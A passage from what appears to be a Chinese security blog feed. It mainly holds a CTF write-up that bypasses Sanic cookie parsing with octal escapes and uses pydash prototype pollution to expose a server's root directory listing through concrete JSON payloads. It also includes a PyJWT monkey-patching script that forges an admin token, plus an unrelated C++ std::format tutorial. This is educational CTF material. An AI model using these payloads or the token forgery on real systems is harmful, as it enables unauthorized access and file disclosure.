        if self.parsed_cookies is None:
            self.get_cookies()
        return cast(CookieRequestParameters, self.parsed_cookies)
```

这里初始化`parsed_cookies`时调用的是`get_cookies()`方法，里面解析cookie使用了`parse_cookie`，我们去看看怎么个事：

```python title=sanic&gt;cookies&gt;request.py showLineNumbers startLineNumber=50 {42}
def parse_cookie(raw: str) -&gt; dict[str, list[str]]:
    &quot;&quot;&quot;Parses a raw cookie string into a dictionary.

    The function takes a raw cookie string (usually from HTTP headers) and
    returns a dictionary where each key is a cookie name and the value is a
    list of values for that cookie. The function handles quoted values and
    skips invalid cookie names.

    Args:
        raw (str): The raw cookie string to be parsed.

    Returns:
        Dict[str, List[str]]: A dictionary containing the cookie names as keys
        and a list of values for each cookie.

    Example:
        ```python
        raw = &apos;name1=value1; name2=&quot;value2&quot;; name3=value3&apos;
        cookies = parse_cookie(raw)
        # cookies will be {&apos;name1&apos;: [&apos;value1&apos;], &apos;name2&apos;: [&apos;value2&apos;], &apos;name3&apos;: [&apos;value3&apos;]}
        ```
    &quot;&quot;&quot;  # noqa: E501
    cookies: dict[str, list[str]] = {}

    for token in raw.split(&quot;;&quot;):
        name, sep, value = token.partition(&quot;=&quot;)
        name = name.strip()
        value = value.strip()

        # Support cookies =value or plain value with no name
        # https://github.com/httpwg/http-extensions/issues/159
        if not sep:
            if not name:
                # Empty value like ;; or a cookie header with no value
                continue
            name, value = &quot;&quot;, name

        if COOKIE_NAME_RESERVED_CHARS.search(name):  # no cov
            continue

        if len(value) &gt; 2 and value[0] == &apos;&quot;&apos; and value[-1] == &apos;&quot;&apos;:  # no cov
            value = _unquote(value)

        if name in cookies:
            cookies[name].append(value)
        else:
            cookies[name] = [value]

    return cookies
```

看到第90行的关键代码，当cookie内某个字段的值长度大于2且被双引号包裹时会被送去`_unquote()`，我们跟进这个函数：

```python title=sanic&gt;cookies&gt;request.py showLineNumbers startLineNumber=16
def _unquote(str):  # no cov
    if str is None or len(str) &lt; 2:
        return str
    if str[0] != &apos;&quot;&apos; or str[-1] != &apos;&quot;&apos;:
        return str

    str = str[1:-1]

    i = 0
    n = len(str)
    res = []
    while 0 &lt;= i &lt; n:
        o_match = OCTAL_PATTERN.search(str, i)
        q_match = QUOTE_PATTERN.search(str, i)
        if not o_match and not q_match:
            res.append(str[i:])
            break
        # else:
        j = k = -1
        if o_match:
            j = o_match.start(0)
        if q_match:
            k = q_match.start(0)
        if q_match and (not o_match or k &lt; j):
            res.append(str[i:k])
            res.append(str[k + 1])
            i = k + 2
        else:
            res.append(str[i:j])
            res.append(chr(int(str[j + 1 : j + 4], 8)))  # noqa: E203
            i = j + 4
    return &quot;&quot;.join(res)
```

看到这里我们的解法就清清晰了，这段代码会处理字符串中的引号转义和8进制字符转义，即我们编码`;`为8进制数即可绕过分割被成功解析：

```python
&gt;&gt;&gt; &apos;&apos;.join(f&apos;\\{ord(c):03o}&apos; for c in &quot;;&quot;)
&apos;\\073&apos;
```

传入`Cookie: user=&quot;adm\073n&quot;`即可。

### 原型链污染

接下里就可以到`admin`路由开始原型链污染，目标是污染`__file__`使src路由直接读出flag

```python {6}
@app.route(&quot;/admin&quot;, methods=[&apos;GET&apos;, &apos;POST&apos;])
async def admin(request):
    if request.ctx.session.get(&apos;admin&apos;) == True:
        key = request.json[&apos;key&apos;]
        value = request.json[&apos;value&apos;]
        if key and value and type(key) is str and &apos;_.&apos; not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text(&quot;success&quot;)
        else:
            return text(&quot;forbidden&quot;)

    return text(&quot;forbidden&quot;)
```

提示`pydash`的版本为5.1.2，这个版本污染全局变量没有key的限制，我们可以直接用`__class__.__init__.__globals__.__file__`的链子，但是这里waf掉了`_.`，用中括号取索引也没法绕过，所以我们还是翻源码看看pydash对输入是否有特殊的解析供我们绕过，我们跟踪到`utilities.py`：

```python title=pydash&gt;utilities.py showLineNumbers startLineNumber=64
RE_PATH_KEY_DELIM = re.compile(r&quot;(?&lt;!\\)(?:\\\\)*\.|(\[\d+\])&quot;)
```
```python title=pydash&gt;utilities.py showLineNumbers startLineNumber=1262 {11}
def to_path_tokens(value):
    &quot;&quot;&quot;Parse `value` into :class:`PathToken` objects.&quot;&quot;&quot;
    if pyd.is_string(value) and (&quot;.&quot; in value or &quot;[&quot; in value):
        # Since we can&apos;t tell whether a bare number is supposed to be dict key or a list index, we
        # support a special syntax where any string-integer surrounded by brackets is treated as a
        # list index and converted to an integer.
        keys = [
            PathToken(int(key[1:-1]), default_factory=list)
            if RE_PATH_LIST_INDEX.match(key)
            else PathToken(unescape_path_key(key), default_factory=dict)
            for key in filter(None, RE_PATH_KEY_DELIM.split(value))
        ]
    elif pyd.is_string(value) or pyd.is_number(value):
        keys = [PathToken(value, default_factory=dict)]
    elif value is UNSET:
        keys = []
    else:
        keys = value

    return keys
```

可以看到这里定义了一个`re.compile()`模式对象，使用`filter()`生成器匹配，注意到`\\\\`连用四个反斜杠也会被匹配，我们写个脚本试一下：

```python
&gt;&gt;&gt; import re
&gt;&gt;&gt; RE_PATH_KEY_DELIM = re.compile(r&quot;(?&lt;!\\)(?:\\\\)*\.|(\[\d+\])&quot;)
&gt;&gt;&gt; value = &quot;__class__\\\\.__init__\\\\.__globals__\\\\.__file__&quot;
&gt;&gt;&gt; list(filter(None, RE_PATH_KEY_DELIM.split(value)))
[&apos;__class__&apos;, &apos;__init__&apos;, &apos;__globals__&apos;, &apos;__file__&apos;]
```

果然如我们预期的，四个反斜杠能被正常分割，于是我们就可以这样污染`__file__`实现任意文件读取了，但是我们搜寻了一番却找不到flag文件，`passwd`和`shadow`也没有什么信息，看来还是需要想办法遍历目录

### 污染static

在一番苦苦搜索后，我们发现`static`方法有切入点，看到它的文档：

&gt; file_or_directory (Union\[PathLike, str]): Path to the static file or directory with static files.
&gt; 
&gt; directory_view (bool, optional): Whether to fallback to showing the directory viewer when exposing a director Defaults to `False`.

即参数`directory_view: bool`允许我们在访问静态目录时直接显示目录内容列表，而`file_or_directory: Union[PathLike, str]`用来定义能够访问的根目录，所以我们接下来的目标就是污染这两个变量。

我们看看Sanic的源码是怎么处理这个`static`的：

```python title=sanic&gt;app.py showLineNumbers startLineNumber=110 &quot;StaticHandleMixin&quot; &quot;BaseSanic&quot;
class Sanic(
    Generic[config_type, ctx_type],
    StaticHandleMixin,
    BaseSanic,
    StartupMixin,
    CommandMixin,
    metaclass=TouchUpMeta,
):
```

我们的app类继承于`StaticHandleMixin`类和`BaseSanic`类，

```python title=sanic&gt;root.py showLineNumbers startLineNumber=19 &quot;StaticMixin&quot;
class BaseSanic(
    RouteMixin,
    StaticMixin,
    MiddlewareMixin,
    ListenerMixin,
    ExceptionMixin,
    SignalMixin,
    CommandMixin,
    metaclass=SanicMeta,
):
```

`BaseSanic`类又继承于`StaticMixin`这个混入类，最后也是在这个类里定义了`static`方法，

```python title=sanic&gt;mixins&gt;static.py&gt;StaticMixin showLineNumbers startLineNumber=25 &quot;directory_handler&quot;
class StaticMixin(BaseMixin, metaclass=SanicMeta):
    def __init__(self, *args, **kwargs) -&gt; None:
        self._future_statics: set[FutureStatic] = set()

    def _apply_static(self, static: FutureStatic) -&gt; Route:
        raise NotImplementedError  # noqa

    def static(
        self,
        uri: str,
        file_or_directory: Union[PathLike, str],
        pattern: str = r&quot;/?.+&quot;,
        use_modified_since: bool = True,
        use_content_range: bool = False,
        stream_large_files: Union[bool, int] = False,
        name: str = &quot;static&quot;,
        host: Optional[str] = None,
        strict_slashes: Optional[bool] = None,
        content_type: Optional[str] = None,
        apply: bool = True,
        resource_type: Optional[str] = None,
        index: Optional[Union[str, Sequence[str]]] = None,
        directory_view: bool = False,
        directory_handler: Optional[DirectoryHandler] = None,
    ):
```
```python title=sanic&gt;mixins&gt;static.py&gt;StaticMixin showLineNumbers startLineNumber=116
        name = self.generate_name(name)
```

注意这里第116行对name的赋值，这个参数后面还会用到，我们进去看看：

```python title=sanic&gt;mixins&gt;base.py showLineNumbers startLineNumber=20 {18-19}
    def _generate_name(
        self, *objects: Union[NameProtocol, DunderNameProtocol, str]
    ) -&gt; str:
        name: Optional[str] = None
        for obj in objects:
            if not obj:
                continue
            if isinstance(obj, str):
                name = obj
            else:
                name = getattr(obj, &quot;name&quot;, getattr(obj, &quot;__name__&quot;, None))

            if name:
                break
        if not name or not isinstance(name, str):
            raise ValueError(&quot;Could not generate a name for handler&quot;)

        if not name.startswith(f&quot;{self.name}.&quot;):
            name = f&quot;{self.name}.{name}&quot;

        return name

    def generate_name(self, *objects) -&gt; str:
        return self._generate_name(*objects)
```

简单来说就是给name加上类名，这个前缀一般就是`__mp_main__`，找他的过程比较长，我们可以直接输出看看，这里我一笔带过了，也是爬它的继承链最后找到`Sanic`类:
```python
app.run(single_process=False) # startup.py::StartupMixin::run()
-&gt; startup.py::StartupMixin::serve()
-&gt; serve.py::worker_serve()
-&gt; Sanic::get_app()
```

我们继续来看这个方法：

```python title=sanic&gt;mixins&gt;static.py&gt;StaticMixin showLineNumbers startLineNumber=126 {2,39-40} &quot;directory_handler&quot;
        try:
            file_or_directory = Path(file_or_directory).resolve()
        except TypeError:
            raise TypeError(
                &quot;Static file or directory must be a path-like object or string&quot;
            )

        if directory_handler and (directory_view or index):
            raise ValueError(
                &quot;When explicitly setting directory_handler, you cannot &quot;
                &quot;set either directory_view or index. Instead, pass &quot;
                &quot;these arguments to your DirectoryHandler instance.&quot;
            )

        if not directory_handler:
            directory_handler = DirectoryHandler(
                uri=uri,
                directory=file_or_directory,
                directory_view=directory_view,
                index=index,
            )

        static = FutureStatic(
            uri,
            file_or_directory,
            pattern,
            use_modified_since,
            use_content_range,
            stream_large_files,
            name,
            host,
            strict_slashes,
            content_type,
            resource_type,
            directory_handler,
        )
        self._future_statics.add(static)

        if apply:
            self._apply_static(static)
```
`directory_handler`的默认参数为`None`，所以这些参数都会被初始化进这个类，这个类的源码实际上没有任何东西，单纯只是这些参数的容器。

可以看到这时`file_or_directory`已经转为了`Path`对象，这点后面比较重要。

我们再来看这个`self._apply_static(static)`，很明显这就是应用这个`static`的方法，但我们直接跳转会进到`StaticMixin`类的`_apply_static`方法，但这个方法也没有写任何内容，只是直接引出了一个`代码没写完报错`（看前面引用的代码），还记得我之前提到Sanic类继承了`StaticHandleMixin`混入类吗，实际上正是它的`_apply_static`方法覆盖了这里的方法，我们跳进来看：

```python title=sanic&gt;mixins&gt;static.py&gt;StaticHandleMixin showLineNumbers startLineNumber=168 &quot;static&quot;
class StaticHandleMixin(metaclass=SanicMeta):
    def _apply_static(self, static: FutureStatic) -&gt; Route:
        return self._register_static(static)

    def _register_static(
        self,
        static: FutureStatic,
    ):
```

这里就是注册路由的部分了，我们直接看到最后的返回：

```python title=sanic&gt;mixins&gt;static.py&gt;StaticHandleMixin showLineNumbers startLineNumber=226 {4,9}
        _handler = wraps(self._static_request_handler)(
            partial(
                self._static_request_handler,
                file_or_directory=str(file_or_directory),
                use_modified_since=static.use_modified_since,
                use_content_range=static.use_content_range,
                stream_large_files=static.stream_large_files,
                content_type=static.content_type,
                directory_handler=static.directory_handler,
            )
        )

        route, _ = self.route(  # type: ignore
            uri=uri,
            methods=[&quot;GET&quot;, &quot;HEAD&quot;],
            name=name,
            host=static.host,
            strict_slashes=static.strict_slashes,
            static=True,
        )(_handler)

        return route
```

这里用了`wraps`和`partial`来加工`_static_request_handler`方法，（这样写确实有点费解）~~自己写嘎嘎开心，别人写就喊是屎，python还是太权威了~~，通过`route`装饰器注册路由，注意这个类直接被app继承，所以`self.route`就相当于是`app.route`。

注意一下这里的`file_or_directory`是字符串，之前的`Path`对象在`directory_handler`内，那个才是我们后面要用到的，我们可以看下面的路由函数`_static_request_handler`呈现页面的方法：

```python title=sanic&gt;mixins&gt;static.py&gt;StaticHandleMixin showLineNumbers startLineNumber=333 &quot;directory_handler&quot;
        except (IsADirectoryError, PermissionError):
            return await directory_handler.handle(request, request.path)
```

当引发了`IsADirectoryError`目录报错时，就使用`handle`方法，我们跟进去看

```python title=sanic&gt;handlers&gt;directory.py&gt;DirectoryHandler showLineNumbers startLineNumber=43 &quot;directory&quot;
    async def handle(self, request: Request, path: str):
        &quot;&quot;&quot;Handle the request.

        Args:
            request (Request): The incoming request object.
            path (str): The path to the file to serve.

        Raises:
            NotFound: If the file is not found.
            IsADirectoryError: If the path is a directory and directory_view is False.

        Returns:
            Response: The response object.
        &quot;&quot;&quot;  # noqa: E501
        current = path.strip(&quot;/&quot;)[len(self.base) :].strip(&quot;/&quot;)  # noqa: E203
        for file_name in self.index:
            index_file = self.directory / current / file_name
            if index_file.is_file():
                return await file(index_file)

        if self.directory_view:
            return self._index(
                self.directory / current, path, request.app.debug
            )
```

这些代码只是在应用启动时完成了注册，具体要污染的目标我们还是得去看看route保存的路由处理器（随便叫的），我们也是跟着来到route的源码：

```python title=sanic&gt;mixins&gt;route.py showLineNumbers startLineNumber=160
            route = FutureRoute(
                handler,
                uri,
                None if websocket else frozenset([x.upper() for x in methods]),
                host,
                strict_slashes,
                stream,
                version,
                name,
                ignore_body,
                websocket,
                subprotocols,
                unquote,
                static,
                version_prefix,
                error_format,
                route_context,
            )
```
```python title=sanic&gt;mixins&gt;route.py showLineNumbers startLineNumber=201
            if not websocket and stream:
                handler.is_stream = stream

            if apply:
                self._apply_route(route, overwrite=overwrite)

            if static:
                return route, handler
            return handler

        return decorator
```

这里我们看到了`_apply_route`方法应该比较重要，`static`参数也是之前传入进来的True。这个`_apply_route`方法和之前的`_apply_static`方法一样，也是留空的，真正的实现在`Sanic`的源码里：

```python title=sanic&gt;app.py showLineNumbers startLineNumber=588 &quot;params&quot;
    def _apply_route(
        self, route: FutureRoute, overwrite: bool = False
    ) -&gt; list[Route]:
        params = route._asdict()
        params[&quot;overwrite&quot;] = overwrite
        websocket = params.pop(&quot;websocket&quot;, False)
        subprotocols = params.pop(&quot;subprotocols&quot;, None)

        if websocket:
            self.enable_websocket()
            websocket_handler = partial(
                self._websocket_handler,
                route.handler,
                subprotocols=subprotocols,
            )
            websocket_handler.__name__ = route.handler.__name__  # type: ignore
            websocket_handler.is_websocket = True  # type: ignore
            params[&quot;handler&quot;] = websocket_handler

        ctx = params.pop(&quot;route_context&quot;)

        with self.amend():
            routes = self.router.add(**params)
            if isinstance(routes, Route):
                routes = [routes]

            for r in routes:
                r.extra.websocket = websocket
                r.extra.static = params.get(&quot;static&quot;, False)
                r.ctx.__dict__.update(ctx)

        return routes
```

看到这里应用了一个上下文管理器，来看一眼，看到这个方法文档都快感动哭了，它允许我们在应用启动后改变路由的行为，这下更确定这条路走对了。

```python title=sanic&gt;app.py showLineNumbers startLineNumber=2250
    @contextmanager
    def amend(self) -&gt; Iterator[None]:
        &quot;&quot;&quot;Context manager to allow changes to the app after it has started.

        Typically, once an application has started and is running, you cannot
        make certain changes, like adding routes, middleware, or signals. This
        context manager allows you to make those changes, and then finalizes
        the app again when the context manager exits.

        Yields:
            None

        Example:
            ```python
            with app.amend():
                app.add_route(handler, &apos;/new_route&apos;)
            ```
        &quot;&quot;&quot;
```

我们已经知道路由的信息大概就存在`self.router`中了，注意这里的`**params`，他是将`route._asdict()`产生的字典的键值对传参进去，这些参数与add方法接收的参数都是匹配的，我们最后去看一眼这个`add`方法，这是`Router`类的方法，这个类又继承了`BaseRouter`类，`Router`类的`add`方法是重写了其父类的`add`方法，我们先去看看他自己重写后的实现：

```python title=sanic&gt;router.py showLineNumbers startLineNumber=78
    def add(  # type: ignore
        self,
        uri: str,
        methods: Iterable[str],
        handler: RouteHandler,
        host: Optional[Union[str, Iterable[str]]] = None,
        strict_slashes: bool = False,
        stream: bool = False,
        ignore_body: bool = False,
        version: Optional[Union[str, float, int]] = None,
        name: Optional[str] = None,
        unquote: bool = False,
        static: bool = False,
        version_prefix: str = &quot;/v&quot;,
        overwrite: bool = False,
        error_format: Optional[str] = None,
    ) -&gt; Union[Route, list[Route]]:
```
```python title=sanic&gt;router.py showLineNumbers startLineNumber=120 &quot;params&quot;
        params = dict(
            path=uri,
            handler=handler,
            methods=frozenset(map(str, methods)) if methods else None,
            name=name,
            strict=strict_slashes,
            unquote=unquote,
            overwrite=overwrite,
        )
```
```python title=sanic&gt;router.py showLineNumbers startLineNumber=149 &quot;params&quot;
            route = super().add(**params)  # type: ignore
```

然后再去看父类`BaseRouter`的实现：

```python title=sanic_routing&gt;router.py showLineNumbers startLineNumber=149 &quot;route&quot;
    def add(
        self,
        path: str,
        handler: t.Callable,
        methods: t.Optional[
            t.Union[t.Sequence[str], t.FrozenSet[str], str]
        ] = None,
        name: t.Optional[str] = None,
        requirements: t.Optional[t.Dict[str, t.Any]] = None,
        strict: bool = False,
        unquote: bool = False,  # noqa
        overwrite: bool = False,
        append: bool = False,
        *,
        priority: int = 0,
    ) -&gt; Route:
```
```python title=sanic_routing&gt;router.py showLineNumbers startLineNumber=223 &quot;route&quot;
        route = self.route_class(
            self,
            path,
            name or &quot;&quot;,
            handler=handler,
            methods=methods,
            requirements=requirements,
            strict=strict,
            unquote=unquote,
            static=static,
            regex=regex,
            priority=priority,
        )
```
```python title=sanic_routing&gt;router.py showLineNumbers startLineNumber=256 &quot;route&quot;
        if name:
            self.name_index[name] = route
```

这就很明了了，我们的路由信息会被层层打包直到赋值给`name_index`的键值，层层回溯，所以我们要污染的信息即在`app.router.name_index[&quot;__mp_main__.static&quot;]`；回溯回去，

`directory_view`就在：
```python
app.router.name_index[&apos;__mp_main__.static&apos;].handler.keywords[&apos;directory_handler&apos;].directory_view
```

因为`file_or_directory`是个调用了`resolve()`方法的`Path`类，这里卡了我好久，因为题目的python是3.11(ctfshow的环境)，那时候的pthlib还是个单文件库，里面定义了`_parts`列表存放目录的每一级，污染这个列表即可控制显示的根目录，但在3.12及以上的版本这个库就大改了，取而代之的是列表`_raw_paths`，本地打的话就要注意一下。


```python title=python=3.11
app.router.name_index[&apos;__mp_main__.static&apos;].handler.keywords[&apos;directory_handler&apos;].directory._parts
```
```python title=python&gt;3.11
app.router.name_index[&apos;__mp_main__.static&apos;].handler.keywords[&apos;directory_handler&apos;].directory._raw_paths
```

&gt; 写文章的时候发现python 3.14更新了，我们python佬的春节也是来了，在这里浅浅祝福一下$\pi$thon的发布

污染这些变量，就能实现遍历根目录，这道题就算做完了：

```json
{
&quot;key&quot;:&quot;__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view&quot;,
&quot;value&quot;:&quot;True&quot;
}
```
```json
{
&quot;key&quot;:&quot;__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts&quot;,
&quot;value&quot;:[&quot;/&quot;]
}
```

### 结语
这道题的复现打了我好久，一个一个去查这些源码确实太浪费时间了，特别是最后查找`static`的那两个变量，简单点可以直接打断点然后硬搜出来变量的路径，不过最后算是搞懂了绝大部分细节也学到了不少新知识，算是有点收获了，最后附上一图流，防止以后我搞忘了又懒得看自己又臭又长的文章。

### 一图流
&gt; 画的有点烂
```mermaid
---
config:
  class:
    hideEmptyMembersBox: true
---
classDiagram
	Sanic --|&gt; BaseSanic
	Sanic --|&gt; StaticHandleMixin
	BaseSanic --|&gt; StaticMixin
	Router --|&gt; BaseRouter : route

	RouteMixin ..|&gt; Sanic : _apply_route()
	StaticMixin &quot;static()&quot; ..|&gt; &quot;_apply_static()&quot; StaticHandleMixin : static
	StaticHandleMixin ..|&gt; RouteMixin : _register_static()

	Sanic &quot;route()&quot; ..|&gt; &quot;router.add()&quot; Router : route

	class StaticMixin {
		name: str = &quot;static&quot;
		file_or_directory: PathLike | str
		directory_view: bool = False
		_apply_static()
		static(static)
	}
	class BaseSanic
	class StaticHandleMixin {
		_apply_static(static)
		_register_static()
		_static_request_handler()
	}
	class Sanic {
		amend()
		_apply_route(route)
	}
	class RouteMixin {
		_apply_route(route)
		route()
	}
	class Router {
		add()
	}
	class BaseRouter {
		add()
	}
```</content:encoded></item><item><title>Python Monkey Patching</title><link>https://blog.erina.top/blog/monkeypatching/</link><guid isPermaLink="true">https://blog.erina.top/blog/monkeypatching/</guid><description>Monkey Patching（猴子补丁）是一种在运行时动态修改类或模块的技术。它允许我们在不修改源代码的情况下，改变或扩展已有代码的行为。</description><content:encoded>## 什么是Monkey Patching？

像`Python`、`JavaScript`、`Lua`等动态类型且大部分类在运行时开放的语言，我们就能在运行时动态更改某个类属性、方法，从而改变其行为，这就称为`Monkey Patching`。

`Monkey Patching`（猴子补丁）是一种在运行时动态修改类或模块的技术。这个术语来源于`guerrilla patch`（游击队补丁），后来演变成了`monkey patching`。它允许我们在不修改源代码的情况下，改变或扩展已有代码的行为。

## 为什么使用Monkey Patching？

1. **临时修复bug**：当发现第三方库的bug但无法立即更新时
2. **功能增强**：为现有代码添加新功能
3. **测试目的**：在测试中替换某些方法的行为
4. **性能优化**：替换某些方法的实现以提高性能

## 基本示例

### Python

在`python`中，一切皆为对象，且python没有严格意义上的私有变量，类开放，这样灵活的运行时环境使得python天生及其适合`Monkey Patching`，实际上，它也是最常使用`Monkey Patching`的语言之一。

```python
# 原始类
class Dog:
    def bark(self):
        return &quot;Woof!&quot;

# 创建实例
dog = Dog()
print(dog.bark())  # 输出: Woof!

# Monkey Patching
def loud_bark(self):
    return &quot;WOOF! WOOF!&quot;

# 替换原始方法
Dog.bark = loud_bark

# 现在所有Dog实例都会使用新方法
print(dog.bark())  # 输出: WOOF! WOOF!
```

## 实际应用示例

### 1. 修改第三方库的行为

```python
import requests

# 原始的requests.get方法
original_get = requests.get

def patched_get(*args, **kwargs):
    print(&quot;Making a request...&quot;)
    response = original_get(*args, **kwargs)
    print(&quot;Request completed!&quot;)
    return response

# 应用补丁
requests.get = patched_get

# 现在所有的requests.get调用都会打印额外信息
response = requests.get(&apos;https://api.example.com&apos;)
```

### 2. 测试中的Mock

```python
import unittest
from my_module import DatabaseConnection

class TestMyApp(unittest.TestCase):
    def setUp(self):
        # 保存原始方法
        self.original_connect = DatabaseConnection.connect
        
        # Mock连接方法
        def mock_connect(self):
            return &quot;Mock connection established&quot;
            
        DatabaseConnection.connect = mock_connect
    
    def tearDown(self):
        # 恢复原始方法
        DatabaseConnection.connect = self.original_connect
    
    def test_database_operations(self):
        db = DatabaseConnection()
        self.assertEqual(db.connect(), &quot;Mock connection established&quot;)
```

### 3.允许高版本jwt使用公钥作为key

~~其实这才是写这篇文章的主要原因，为醋包饺子的典范了~~

在处理json web token时，如果服务端配置不当，将`RS256`加密的jwt直接使用公钥`HS256`解密，我们获得公钥之后就能直接伪造jwt，从而得到高级权限

```python
import jwt
import argparse

parser = argparse.ArgumentParser()
parser.add_argument(&quot;key&quot;)
args = parser.parse_args()

# 使用Monkey Patching绕过高版本的jwt将公钥作为key时的报错
jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key: jwt.utils.force_bytes(key) #type: ignore

token = jwt.encode(
    payload={
        &quot;username&quot;: &quot;qwer123&quot;,
        &quot;password&quot;: &quot;e10adc3949ba59abbe56e057f20f883e&quot;,
        &quot;is_admin&quot;: True
    },
    key = open(args.key, &apos;rb&apos;).read(),
    algorithm=&apos;HS256&apos;
)

print(token)
```</content:encoded></item><item><title>Fromat</title><link>https://blog.erina.top/blog/c-format/</link><guid isPermaLink="true">https://blog.erina.top/blog/c-format/</guid><description>C++ format库是一个现代、安全且快速的字符串格式化库，它提供了类似Python的格式化语法，并作为std::format被纳入C++20标准。</description><content:encoded>`C++ 20`基于`Python`引入了一系列基本类型和字符串类型的格式规范[^1]，
同时引入了`&lt;format&gt;`库，替代了传统的 sprintf和字符串流方法，
使得C++具有了快速且灵活的字符串格式化语法。

`format库`采用`{}`作为占位符，类似于Python的字符串格式化。

`format`库的前身就是著名的`{fmt}`库，它是一个开源的C++格式化库。你可以把它理解为一个C++版本的`printf`的现代化、类型安全的替代品，即使现在被吸纳进`C++20`标准，也仍然保留着与之前几乎相同的接口。

:::note
C++ &gt;= 23 时引入`&lt;ostream&gt;`或`&lt;print&gt;`库就会引入`&lt;format&gt;`库
:::

# std::format

## 参数

基本格式为`std::wstring format&lt;_Args...&gt;(std::wformat_string&lt;_Args...&gt; __fmt, _Args &amp;&amp;...__args)`，
其中，`fmt`表示格式化字符串的对象，它必须是一个编译时常量，剩下若干个参数`arg`表示要格式化的参数

## 字符串

```cpp
std::format(&quot;{} {}!&quot;, &quot;Hello&quot;, &quot;world&quot;); // Hello world!
std::format(&quot;{{ asd }}&quot;); // { asd }

// 显示设置arg-id来指定参数顺序
std::format(&quot;{1} {0}!&quot;, &quot;Hello&quot;, &quot;world&quot;); // world Hello!

// 同时arg-id可以多次复用
std::format(&quot;{1} {0} {1}!&quot;, &quot;Hello&quot;, &quot;world&quot;); // world Hello world!

// 多余了参数会被忽略而不引起报错，但是少了会
std::format(&quot;{} {}!&quot;, &quot;Hello&quot;, &quot;world&quot;, &quot;something&quot;); // Hello world!
```

## 对齐和填充

同时，就像python中一样，format能灵活地格式化不同类型的参数，并灵活的调整格式：

```cpp
// 固定占位6字符
// 默认右对齐数字类型（int, double 等）和格式化为数字的布尔类型
// 默认左对齐字符类型（char, char8_t, char16_t, char32_t, wchar_t 和字符串类型（string, string_view）

std::format(&quot;{:6}&quot;, 42);       // &quot;    42&quot;
std::format(&quot;{:6}&quot;, &apos;x&apos;);      // &quot;x     &quot;
std::format(&quot;{:6}&quot;, true);     // &quot;true  &quot;
std::format(&quot;{:6d}&quot;, true);    // &quot;     1&quot;

// 设定占位字符，主动规定对齐方式
std::format(&quot;{:*&lt;6}&quot;, &apos;x&apos;);    // &quot;x*****&quot;
std::format(&quot;{:*&gt;6}&quot;, &apos;x&apos;);    // &quot;*****x&quot;
std::format(&quot;{:*^6}&quot;, &apos;x&apos;);    // &quot;**x***&quot;

// 截断
std::format(&quot;{:.3}&quot;, &quot;hello&quot;);  // &quot;hel&quot;
```

## 数字格式化

```cpp
std::format(&quot;{:d}&quot;, 42);     // 十进制
std::format(&quot;{:x}&quot;, 255);    // 十六进制小写
std::format(&quot;{:X}&quot;, 255);    // 十六进制大写
std::format(&quot;{:o}&quot;, 64);     // 八进制
std::format(&quot;{:b}&quot;, 5);      // 二进制
```

## 浮点型
```cpp
std::format(&quot;{:.2f}&quot;, 3.14159);   // 固定点，2位小数
std::format(&quot;{:.2e}&quot;, 1234.5);    // 科学计数法
std::format(&quot;{:.2g}&quot;, 1234.5);    // 自动选择
```

## 符号控制

对于数字类型，format还能控制数字符号的显示方式，包括科学计数法、浮点型等：

| 选项 | 说明 | 示例（值为42） | 示例（值为-42） |
|-|-|-|
| + | 总是显示符号 | +42 | -42 |
| - | 仅负数显示符号（默认） | 42 | -42 |
| 空格 | 负数显示-，正数显示空格 | 42 | -42 |

```cpp
std::format(&quot;{0:},{0:+},{0:-},{0: }&quot;, 1) // &quot;1,+1,1, 1&quot;
std::format(&quot;{0:},{0:+},{0:-},{0: }&quot;, -1) // &quot;-1,-1,-1,-1&quot;
std::format(&quot;{0:e},{0:+e},{0:-e},{0: e}\n&quot;, 1234567.89); // &quot;1.234568e+06,+1.234568e+06,1.234568e+06, 1.234568e+06&quot;
std::format(&quot;{0:e},{0:+e},{0:-e},{0: e}\n&quot;, 0.000123); // &quot;1.230000e-04,+1.230000e-04,1.230000e-04, 1.230000e-04&quot;
```

同时，对于无法用数字表示的数字类型，`format`也能灵活的格式化：

```cpp
double inf = std::numeric_limits&lt;double&gt;::infinity();
double nan = std::numeric_limits&lt;double&gt;::quiet_NaN();
std::format(&quot;{0:},{0:+},{0:-},{0: }&quot;, inf)    // &quot;inf,+inf,inf, inf&quot;
std::format(&quot;{0:},{0:+},{0:-},{0: }&quot;, nan)    // &quot;nan,+nan,nan, nan&quot;
```

## 日期和时间
```cpp
std::format(&quot;{:%Y-%m-%d}&quot;, std::chrono::system_clock::now());
```
# std::vformat

前面提到，`format`只能支持格式化到编译时常量字符串，
而`vformat`则是`format`的可变参数版本，它接受`std::format_args`参数包，能够将内容格式化到运行时量

## 运行时构建参数包
```cpp
#include &lt;iostream&gt;
#include &lt;string&gt;
#include &lt;string_view&gt;

template&lt;typename... Args&gt;
std::string dyna_print(std::string_view rt_fmt_str, Args&amp;&amp;... args) {
    return std::vformat(rt_fmt_str, std::make_format_args(args...));
}

int main() {
    std::cout &lt;&lt; std::format(&quot;Hello {}!\n&quot;, &quot;world&quot;);

    std::string fmt;
    for (int i = 0; i &lt;= 3; ++i) {
        fmt += &quot;{} &quot;;
        std::cout &lt;&lt; dyna_print(fmt, &quot;alpha&quot;, &apos;Z&apos;, 3.14, &quot;unused&quot;) &lt;&lt; &apos;\n&apos;;
    }
}
```
```bash title=输出
alpha 
alpha Z 
alpha Z 3.14
```

---

[^1]:[Python 中的格式规范](https://docs.pythonlang.cn/3/library/string.html#formatspec)

[标准库头文件 &lt;format&gt; (C++20) - cppreference.cn - C++参考手册](https://cppreference.cn/w/cpp/header/format)
[标准格式规范 (C++20 起) - cppreference.cn - C++参考手册](https://cppreference.cn/w/cpp/utility/format/spec)
[std::format - cppreference.cn - C++参考手册](https://cppreference.cn/w/cpp/utility/format/format)</content:encoded></item><item><title>Werkzeug中pin码生成规则</title><link>https://blog.erina.top/blog/werkzeugpin/</link><guid isPermaLink="true">https://blog.erina.top/blog/werkzeugpin/</guid><description>深挖源码，得到flask中Werkzeug工具库实现debug mode的pin码的具体实现规则</description><content:encoded>flask中，当我们运行网页实例时指定`run(debug=True)`，或者通过环境变量 `FLASK_DEBUG=1`，我们就可以得到`代码热重载`和`交互式调试器`的新特性，

其中，交互调试器提供了一个`/console`路由（由werkzeug）定义，
